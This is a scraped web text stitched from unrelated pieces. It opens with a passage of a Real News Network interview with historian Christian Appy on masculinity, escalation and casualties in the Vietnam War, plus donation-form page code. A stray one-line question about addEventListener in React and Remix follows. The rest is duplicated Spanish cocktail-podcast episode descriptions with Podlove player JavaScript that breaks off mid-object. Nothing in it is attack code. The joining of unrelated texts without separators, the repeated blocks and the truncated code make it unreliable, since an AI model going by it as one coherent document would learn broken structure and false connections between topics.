begun. And even on the last day of his life, he gave a speech that morning–or maybe it was the night before; I think it was that morning–in which he reaffirmed the necessity of America's standing against communist aggression in South Vietnam. That was to a Texas audience, but he did tick off all the ways in which we had built up the military and were–.  JAY: I interviewed Gore Vidal a few times and got to know him fairly well, and he knew Jack Kennedy, President Kennedy, fairly well. I think he was a stepbrother to Jackie Kennedy. And he was quite convinced that Jack–and this goes back to you've got to have balls theme–he was quite convinced that Jack wanted to pursue the war in Vietnam, and to a large extent to prove he could be a wartime president, and maybe that he had the balls to go to war in Vietnam. But as you say, this becomes a much even bigger issue for Johnson. In fact, I'm going to read a quote from your book.  APPY: Sure.  JAY: By 1966, Assistant Secretary of Defense John McNaughton concluded that avoiding humiliation had moved from 70 percent of America's goal in Vietnam to 100 percent. Quote, the reasons why we went into Vietnam to the present depth are varied, but they are now largely academic. Why we have not withdrawn is by all odds one reason: to preserve our reputation. We have not hung on to save a friend or to deny the communists the added acres and heads. Christian writes, to preserve an image of strength, LBJ systematically escalated the war. Perhaps the most shocking moment in Robert Dallek's biography of Johnson comes when a group of reporters, pressed by LBJ to explain why he continued to wage war in spite of so many difficulties and so much opposition, the president, quote, unzipped his fly, drew out his substantial organ, and declared, quote, this is why. Other key policymakers may not have displayed their genitals, but all the men who sent America to Vietnam felt a deep connection between their own masculinity and national power. Expand a bit.  APPY: Well, it's true. I mean, the group of policymakers did not share Johnson's crudity, at least, or his poorer background from the hill countries of Texas–they came from, really, a different class background, many of them very privileged private schools, Ivy League colleges, elite military service, all-men's Metropolitan Club, secret societies. That whole world inbred a kind of code of masculinity that made personal toughness inseparable from the toughness of the state. And so they really did own that idea that it was their mission, kind of a Spartan mission, to uphold American strength, and that anybody who questioned that could not really be part of that team.  JAY: It goes back a little bit, I think, to what I was talking about as the loan sharks having to prove–someone has to be the test case, the model of getting their knees broken so everyone else will pay. I mean, it's in prison too. You know, you're not shown–if you show weakness, then someone will take advantage of you. This mentality that if America shows any weakness, then other powers are going to take advantage of that weakness, it seems to be almost at the core of U.S. policy, because it keeps ending in debacle.  APPY: Yes. And it needn't be that way. I mean, at this precise time that they're digging their heels in, grounds of toughness, a whole new countercultural and antiwar movement is developing that is challenging this idea of masculinity and rejecting sort of the John Wayne image that they had grown up with, and coming to the conclusion that maybe it's really braver and tougher to express a kind of moral courage that can say, no, this is wrong, and we really need to withdraw. And there were occasionally some people close to power who were starting to say that, and they would immediately get sort of shut out. I mean, they were saying, for example, that, you know, yes, it might be–as George Kennan, one of the great architects of the policy of containment, said when he was called before the Senate Foreign Relations Committee to testify–William Fulbright was the chair at the time, and it was widely televised. So George Kennan was asked, what do you think would happen if we withdrew from Vietnam? This is 1966 again. He said, well, honestly, I think it would be a six-month sensation, but it would blow away, it wouldn't really have any fundamental effect on our national security, and it actually, in terms of our international reputation, might improve it. So one of the ironies of this period for me is that Johnson, who was always credited as being the master politician who could read the tea leaves and count every vote, completely miscalculated the direction of the American public, because had he withdrawn early in his presidency, before the massive escalation, I think he might well have been reelected. I think he could have made the case that this really was not in our interest and not so much a sign of weakness but of really pragmatic realism. And another irony: all these guys prided themselves on being hard-headed realists who could see the world with steely eyes and unaffected by sentimentality or namby-pamby moralism, and yet in the face of the evidence that they were receiving on a daily basis, that the war was going poorly, that they had privately very little optimism that they could achieve their objectives–certainly not in any time soon, maybe five, ten, 15 years down the road–those same pragmatists were willing to continue a war they knew they weren't winning, because they didn't want to be seen as weak, didn't want to be the first president to lose a war.  JAY: But then doesn't Johnson at the end–near the end of his presidency he does come to the conclusion to try to end it and negotiate in secret a ceasefire that might lead to a final settlement that gets torpedoed by Nixon.  APPY: Yeah, he does make some small steps it that direction, though the ceasefire over the bombing in the North, first, it's only above the 20th parallel, and then just days before he leaves office it's all the way down to the 17th parallel, but he never stops the bombing of the South. And one thing that Americans to this day don't quite realize is that our bombing of South Vietnam was far more intense and unconstrained than the bombing of the North. We dropped 4 million tons of bombs on the South, 1 million tons of bombs on the north. That's a lot. But South Vietnam became by far the most bombed country in world history. We were using B-52 bombers that could hold, each one of these planes, 30 tons of bombs. They, of course, had been designed to drop nuclear weapons, but were retooled to be used in Vietnam. But, again, on the South, within 25 miles of Saigon.  JAY: But doesn't Johnson–Johnson does negotiate a ceasefire, right, I mean, a full-scale ceasefire that never takes place 'cause Nixon talks the North Vietnamese into withdrawing.  APPY: Well, no, he continues the war. What I think maybe you're alluding to is he does initiate peace discussions, the sort of those Paris peace talks, which do slowly begin in the last year of his presidency, though the South Vietnamese president, Nguyễn Văn Thiệu, wanted nothing to do with them.  JAY: But this idea of having balls and showing American power, in spite of the war starting to unravel–but there's also economic interest here. I mean, there's a lot of people making a lot of money out of the war.  APPY: It's true. Certainly defense contractors are making bushels of money. But one of the interesting things is that over time, by the late '60s, high-level executives are beginning to believe that the war is actually hurting the economy, because it's–.  JAY: Or hurting them.  APPY: Yeah. Well, they see [crosstalk]  JAY: Their section of the economy.  APPY: Yeah. And defense industry aside, there's a moment in which the CEO of the Bank of America, no less, goes before Congress and makes the case that the war is bad for business, that corporate profits have actually peaked in '65 just as the massive escalation began and had declined steadily since then and that inflation was ticking up. And so he really is calling for an end to the war.  JAY: Yeah, it was an interesting part of your book. You talk about how–'cause unemployment gets so low,–  APPY: Right.  JAY: –inflation starts to go up, corporate profits start to go down.  APPY: Right.  JAY: So you have a real division, I guess, within the American elites about those who are still making money out of the war and those who aren't making as much money as they want to be.  APPY: Right, or people who are ideologically committed to the war, even if it doesn't necessarily support business. So it is an interesting period. But it does suggest how broad-based opposition to the war was by 1970 and '71.  JAY: And for some of our younger viewers or people that forget, let's just remind people this isn't just when someone wants to continue a war because they want to pull their organ out of their pants, they want to prove how tough they are, prove how tough America is, was. Just remind us again how many people suffered and were killed in the war.  APPY: Well, now the best estimate for the number of Vietnamese–the Vietnamese say that 3.8 million were killed during the American phase of the war. And former secretary of defense McNamara, before he died, said he has every reason to believe that they were correct. American historians tend to say that it was at least 2 million. Sort of that's the conservative estimate. So we don't actually know the proper figure. But when you include the fact that we were also bombing Laos very heavily and Cambodia, you can add roughly another at least a million and a half to that total. So this is a real bloodbath. And for the United States, certainly more troops were lost than at any time after World War II–more than 58,000. And, of course, hundreds of thousands wounded, and many more who suffered psychological casualties from that experience. One further cost of the war that is not always noted is that after the war ended in 1975, many Vietnamese and Cambodians and Laotians have died from unexploded ordnance. Roughly 2 percent of every American bomb that was dropped, or even artillery shell, doesn't explode. So ten, 20, even 30 years later, a farmer can be plowing his field and hit one of those things and it can go off. Or a child can pick up–they had these really small baseball-size bombs that were called cluster bombs that–they would come inside a large conventional bomb, and then, when they exploded, they would send out these smaller bombs, and inside each one of these small bombs were hundreds of little steel pellets or dart-like–they were called flechettes that would go in every possible direction, designed as the classic antipersonnel weapon that would kill people but not structures and that would burrow into your body and not necessarily kill you but require other people to take care of you or lead to a slow and horrible death. And as I say, a kid could pick up one of these little baseball bombs and it could go off again. So the estimate now is that some 40,000, anyway, Vietnamese have died from that cause since the war, which is extraordinary, and many more wounded.  JAY: And when you look at American media and this narrative of American exceptionalism, the real victim of the Vietnam War was America.  APPY: Right.  JAY: And we're going to get into the America-as-victim narrative in the next segment of our interview with the Christian Appy on Reality Asserts Itself on The Real News Network. Select one or choose any amount to donate whatever you like any amount $5 $15 $25 $50 $100 $500 $1,000 Custom Amount $ Make this donation each month (optional) Donate with Credit Card var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}}); Never miss another story Subscribe to theAnalysis.news - Newsletter Email(Required) Name(Required) First Last Δdocument.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); “Christian Gerard Appy is a professor of history at the University of Massachusetts Amherst. He is widely known as a leading expert on the Vietnam War experience. The most recent of his three books on the subject is American Reckoning: The Vietnam War and Our National Identity.” theAnalysis.news theme music written by Slim Williams for Paul Jay's documentary film “Never-Endum-Referendum“.   Never-Endum-Referendum Artist Website Paul Jay's Documentaries

addEventListener is usually frowned upon as an anti-pattern in the React world. Will this still be the case with Remix? What about in the framework-agnostic future of Remix? Is addEventListener OK again?

Noticias y Tendencias del mes Estas son la Noticias y Tendencias más importantes del mes en La Industria La Guía definitiva para Dilución: https://vinepair.com/cocktail-college/cocktail-college-dilution/ La "Nueva Tendencia" de sólo 2 cócteles por persona: https://vinepair.com/articles/history-two-drinks-only-cocktails/ Nueva Botella de Macallan en Colaboración con Bentley Motors: https://www.thespiritsbusiness.com/2022/08/macallan-and-bentley-unveil-collaborative-whisky/ Nueva Botella de Tequila de 200 dólares que parece un Pretxel: https://vinepair.com/booze-news/kendall-jenners-new-tequila-pretzel/ ¿Se congela más rápido el agua hirviendo que la fría?: https://vinepair.com/articles/boiling-water-for-ice/ En la noticias y tendencias del éste mes hablamos sobre cómo dominar la dilución de nuestros cócteles incluso en pre batch, el resurgimiento de la tendencia de "sólo dos cócteles por persona", dos nuevas etiquetas (de tequila y de whisky) que dicen mucho del futuro del diseño de las botellas de bebidas alcohólicas y el efecto Mpemba que asegura que se congela más rápido el agua hirviendo que el agua fría. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/xSBycLJoeok Grupo de Telegram: https://t.me/notindustria Grupo de Podcast de Coctelería en español: https://t.me/podcocteleria Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-6332322277507"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4345","data":{"title":"GUu00cdA para la DILUCIu00d3N, dos Cu00d3CTELES por PERSONA y NUEVAS ETIQUETAS de lujo","duration":"00:13:32","link":"https://www.barspeakeasy.com/podcast/guia-para-la-dilucion/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-6-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep62-1/EP62.m4a","size":"9974875","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast",

Mi Invitado Daniel Estremadoyro: jurado de competencias nacionales e internacionales, capacitador de bartenders, conferencista y un gran entusiasta de la buena coctelería. Hablaremos sobre la influencia que han tenido los clásicos en la coctelería moderna y de autor y cómo inicio todo. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/tfWOjIj4kqw Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227aa33"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4284","data":{"title":"Cu00d3MO INFLUYEN los Cu00d3CTELES CLu00c1SICOS en la COCTELERu00cdA","duration":null,"link":"https://www.barspeakeasy.com/podcast/como-influyen-los-cocteles-clasicos-en-la-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/influencia_clasicos-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep61-1/EP61.m4a","size":"48326715","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system","BlinkMacSystemFont","Segoe UI",

Mi Invitado Daniel Estremadoyro: jurado de competencias nacionales e internacionales, capacitador de bartenders, conferencista y un gran entusiasta de la buena coctelería. Hablaremos sobre la influencia que han tenido los clásicos en la coctelería moderna y de autor y cómo inicio todo. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/tfWOjIj4kqw Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62ff1bab3f7b2"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4284","data":{"title":"Cu00d3MO INFLUYEN los Cu00d3CTELES CLu00c1SICOS en la COCTELERu00cdA","duration":"01:19:02","link":"https://www.barspeakeasy.com/podcast/como-influyen-los-cocteles-clasicos-en-la-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/influencia_clasicos-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep61-1/EP61.m4a","size":"48326715","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.org/web-player/5.x/share.html","sharePlaytime":true},"related-episodes":{"source":"disabled","value":null},"version":5,"theme":{"tokens":{"brand":"#9f6513","brandDark":"#9f6513","brandDarkest":"#000000","brandLightest":"#000000","shadeDark":"#807E7C","shadeBase":"#807E7C","contrast":"#FFFFFF","alt":"#fff"},"fonts":{"ci":{"name":"ci","family":["-apple-system",

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Pre Mezcla de Cócteles. La pre mezcla de cócteles o Batching Cocktails no es algo nuevo pero si una técnica cada vez más usada entre los mejores bares y restaurantes del mundo. Debo confesar que por un tiempo siempre pensé que para que un cóctel tenga los mejores resultados en sabor y frescura debe ser preparado al momento. Pero ya hoy en día hasta los bares mejores premiados del mundo están usando esta técnica lo que le permite dedicar el tiempo ganado en la elaboración del cóctel en otros detalles como: la presentación y decoración del cóctel, describir la bebida al cliente sin que se canse de esperar por lo extra elaborado del mismo. Ventajas y Desventajas Ventajas: Estandarización y consistencia (igualdad de recetas), mejores resultados en temperatura y dilución incluso posible maceración de sabores. Rapidez. Dedicas más tiempo a la presentación. Permite que el cliente consuma el mismo cóctel en el bar que en casa. Desventajas: Vida útil de los insumos, desinformación o falta de práctica (Entender lo que necesito para hacer prebatch), el cliente que va a sentarse en la barra pierde la esencia de su preparación y lo que conlleva el cóctel. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8b95f"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/",

Pre Mezcla de Cócteles. La pre mezcla de cócteles o Batching Cocktails no es algo nuevo pero si una técnica cada vez más usada entre los mejores bares y restaurantes del mundo. Debo confesar que por un tiempo siempre pensé que para que un cóctel tenga los mejores resultados en sabor y frescura debe ser preparado al momento. Pero ya hoy en día hasta los bares mejores premiados del mundo están usando esta técnica lo que le permite dedicar el tiempo ganado en la elaboración del cóctel en otros detalles como: la presentación y decoración del cóctel, describir la bebida al cliente sin que se canse de esperar por lo extra elaborado del mismo. Ventajas y Desventajas Ventajas: Estandarización y consistencia (igualdad de recetas), mejores resultados en temperatura y dilución incluso posible maceración de sabores. Rapidez. Dedicas más tiempo a la presentación. Permite que el cliente consuma el mismo cóctel en el bar que en casa. Desventajas: Vida útil de los insumos, desinformación o falta de práctica (Entender lo que necesito para hacer prebatch), el cliente que va a sentarse en la barra pierde la esencia de su preparación y lo que conlleva el cóctel. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/LEf2zHU3KKE Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227b878"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4223","data":{"title":"World Class Competition ud83cudf78 RD 2022 - TODO lo que NECESITAS SABER ud83eudd43","duration":"00:13:42","link":"https://www.barspeakeasy.com/podcast/world-class-competition-%f0%9f%8d%b8-rd-2022-todo-lo-que-necesitas-saber-%f0%9f%a5%83/","poster":"https://www.barspeakeasy.com/wp-content/uploads/podcast-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep56-1-56/EP56.m4a","size":"10259159","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify",

Estilos de cerveza y el perfect serviceEn esta colaboración con el equipo de Beergeek, te damos una Masterclass sobre los tipos de cerveza, su perfect service incluyendo temperatura, cantidad de espuma y hasta cuál recomendar a tus clientes.Si trabajas en el área de la hostelería, restaurante o bar ÉSTE EPISODIO ES PARA TI.La cerveza se ha convertido en una bebida que trasciende fronteras y culturas. El auge de las cervezas artesanales y de barril sigue marcando la diferencia en el consumo de los comensales.Por eso es de vital importancia conocer los tipos de cervezas, cómo servirlas, cómo guardarlas y hasta en qué momento recomendarlas.No olvides pasarte por el canal de Beergeek si quieres seguir aprendiendo sobre este mundoLinks de Interés:Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBarÚnete a la Comunidad de Telegram: https://barspeakeasy.com/comunidadInvítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbarLinks Mencionados en el Episodio:Canal de Twitch: https://www.twitch.tv/mezclandoexperienciashttps://youtu.be/Tv0_vE506B4Episodios RelacionadosOtros links de interés:Cómprame un Cóctel:https://barspeakeasy.com/apoyoHosting desde 4$: https://barspeakeasy.com/hosting30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemicPrueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227c6d7"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4255","data":{"title":"CERVEZA Servicio PERFECTOud83cudf7a TIPOS de CERVEZA ud83cudf7b","duration":null,"link":"https://www.barspeakeasy.com/podcast/cerveza-servicio-perfecto/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep59-1/EP59.m4a","size":"34129382","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.podlove.

Estilos de cerveza y el perfect serviceEn esta colaboración con el equipo de Beergeek, te damos una Masterclass sobre los tipos de cerveza, su perfect service incluyendo temperatura, cantidad de espuma y hasta cuál recomendar a tus clientes.Si trabajas en el área de la hostelería, restaurante o bar ÉSTE EPISODIO ES PARA TI.La cerveza se ha convertido en una bebida que trasciende fronteras y culturas. El auge de las cervezas artesanales y de barril sigue marcando la diferencia en el consumo de los comensales.Por eso es de vital importancia conocer los tipos de cervezas, cómo servirlas, cómo guardarlas y hasta en qué momento recomendarlas.No olvides pasarte por el canal de Beergeek si quieres seguir aprendiendo sobre este mundoLinks de Interés:Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBarÚnete a la Comunidad de Telegram: https://barspeakeasy.com/comunidadInvítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbarLinks Mencionados en el Episodio:Canal de Twitch: https://www.twitch.tv/mezclandoexperienciashttps://youtu.be/Tv0_vE506B4Episodios RelacionadosOtros links de interés:Cómprame un Cóctel:https://barspeakeasy.com/apoyoHosting desde 4$: https://barspeakeasy.com/hosting30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemicPrueba Canva Pro por 45 días GRATIS: https://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-62f18c2b8d1ef"); podlovePlayerCache.add([{"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4255","data":{"title":"CERVEZA Servicio PERFECTOud83cudf7a TIPOS de CERVEZA ud83cudf7b","duration":"00:54:26","link":"https://www.barspeakeasy.com/podcast/cerveza-servicio-perfecto/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-podcast-0.5mb-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep59-1/EP59.m4a","size":"34129382","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://www.barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast","service":null},{"id":"pocket-casts","service":"podcast/5e7bc2e0-90a8-0138-ee68-0acc26574db2"},{"id":"podcast-addict","service":null},{"id":"google-podcasts","service":"https://podcasts.google.com/feed/aHR0cHM6Ly9iYXJzcGVha2Vhc3kuY29tL2ZlZWQvcG9kY2FzdC8_cmVkaXJlY3Q9bm8"},{"id":"apple-podcasts","service":"detr%C3%A1s-del-bar/id1465446898?uo=4"}]},"share":{"channels":["pinterest","whats-app","linkedin","facebook","twitter","mail","link"],"outlet":"https://cdn.

